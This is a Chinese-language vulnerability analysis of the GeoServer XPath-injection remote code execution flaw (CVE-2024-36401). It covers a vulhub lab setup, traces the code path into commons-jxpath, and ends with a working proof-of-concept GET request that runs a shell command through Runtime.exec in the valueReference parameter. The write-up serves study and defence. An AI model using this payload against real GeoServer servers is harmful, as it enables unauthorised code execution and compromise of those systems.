本文首发于 t00ls

漏洞描述

​ GeoServer 是一个地理空间数据开源服务器软件,在调用GeoTools库 API 解析特性类型的属性/属性名称时,若将攻击者恶意构造的属性名传递给commons-jxpath组件并作为XPath表达式解析时,可造成任意代码执行。

影响范围

​ GeoServer < 2.23.6

​ 2.24.0 <= GeoServer < 2.24.4

​ 2.25.0 <= GeoServer < 2.25.2

环境构建

​ 使用 vulhub 的 docker-compose.yml 构建,其中 5005 为远程调试端口

version: '3'
services:
 web:
   image: vulhub/geoserver:2.23.2
   ports:
    - "8080:8080"
    - "5005:5005"

​ 在上述 docker-compose.yml 目录下通过命令启动漏洞容器:

docker-compose up -d 

​ 将容器中 geoserver 应用目录复制到本地:

docker cp -a 容器ID:/usr/local/geoserver e:/geoserver-test

​ 在 e:/geoserver-test/geoserver 目录右键以 IDEA project 打开,在 IDEA 中geoserver\webapps\geoserver\WEB-INF\lib 目录上右键 Add as Library... ,name为 lib,点击 OK。

​ 在 IDEA 的运行配置里选择 Remote 调试,默认5005端口,选择 Use module classpath 为 geoserver 后点击 OK。

漏洞分析

​ 官方的漏洞通告里列出了漏洞可能存在的位置,WFS的GetFeature、GetPropertyValue、WMS的GetMap、GetFeatureInfo、GetLegendGraphic、WPS的Execute等。

​ 以 org.geoserver.wfs.GetPropertyValue 为例进行分析,这时需要找到可以触发进入该类的请求,通过官网文档找到如下请求方式。

​ GET请求:

http://example.com/geoserver/wfs?
  service=wfs&
  version=2.0.0&
  request=GetPropertyValue&
  typeNames=topp:states&
  valueReference=the_geom

​ POST 请求:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='the_geom'>
  <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

​ 本次分析过程使用如下 GET 请求:

http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=t00lssss

​ 在 org.geoserver.wfs.GetPropertyValue 中发现解析属性名称的 propertyNameNoIndexes.evaluate() 方法,在此处下断点:

​ 跟进 evaluate() 方法,最终执行到 accessor.get(),可以看到 attPath 是可以被控制的参数值,即 valueReference 的值。

​ 继续向下执行可以跟进到org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get() ,属于 GeoTools 的 CVE-2024-36404 漏洞通告中7 个可能触发xpath表达式注入的方法之一 :

org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)  
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)  
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)  
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T\>)  
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)  
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {...}.get(Object, String, Class<T\>)  
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)

​ 可以看到 t00lssss 值被传递给 xpath 参数:

​ 跟进 context.iteratePointers() 方法:

​ 跟进 this.compileExpression() 方法,这里对 xpath 进行编译:

​ 继续执行,然后进入 org.apache.commons.jxpath.ri.compiler.Expression类的iteratePointers方法:

​ 此时,会根据返回的编译对象不同,进入相应的 compute 方法:

​ 当前 valueReference 值为 t00lssss,进入了 org.apache.commons.jxpath.ri.compiler.LocationPath的 compute 方法

​ 如果传入的 valueReference 值为调用 java 方法的表达式,则跳转到org.apache.commons.jxpath.ri.compiler.ExtensionFunction的 compute 方法,再调用 computeValue() 方法,解析表达式,造成任意代码执行,详见漏洞 POC。

漏洞 POC

​ 使用下面POC 验证漏洞:

http://127.0.0.1:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch /tmp/t00ls')

参考链接

  • https://avd.aliyun.com/detail?id=AVD-2024-36401
  • https://tttang.com/archive/1771/
  • https://forum.butian.net/share/3129